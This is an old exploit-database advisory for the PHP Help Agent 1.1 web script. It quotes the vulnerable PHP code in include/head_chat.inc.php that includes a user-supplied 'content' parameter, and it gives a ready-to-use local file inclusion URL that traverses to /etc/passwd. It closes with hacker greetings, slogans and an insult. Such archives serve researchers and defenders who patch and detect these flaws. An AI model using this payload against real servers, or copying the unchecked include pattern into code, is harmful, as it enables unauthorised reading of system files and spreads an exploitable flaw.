PHP Help Agent 1.1 - 'content' Local File Inclusion

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# Author : BeyazKurt
# Contact : Djm-sut@Hotmail.Com
#
# Script : php Help Agent (v1.1 Full & 1.0)
# Risk : Local File Include
# Download : http://sourceforge.net/projects/phphelpagent/
#
# File : include/head_chat.inc.php
#
# Code :
# <?php
#     if(file_exists($content)) {
#   include($content);
#     }
# ?>
#
# Exploit :
#
#  Vuln.Com/include/head_chat.inc.php?content=../../../../etc/passwd
#
# /* Hack Is Not Crime! */
# -------------------------------
#              INDEPENDENT KOSOVA (H) - Etnic ALBANIA (H)
#                      Proud 2 Be ALBANIAN
#                      4Ever FENERBAHÇE (H)
#
# Z0ne-H gicik v1 is public :D (Download NetkabuS.CoM)
# Not : Fuck off pala! aq lameri.
#
# Thnx : All Muslims Albanian & Turkish Coder..
# Thnx : dArkSAnqelSu | anladin sen onu anladin... :)
#
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# milw0rm.com [2008-07-15]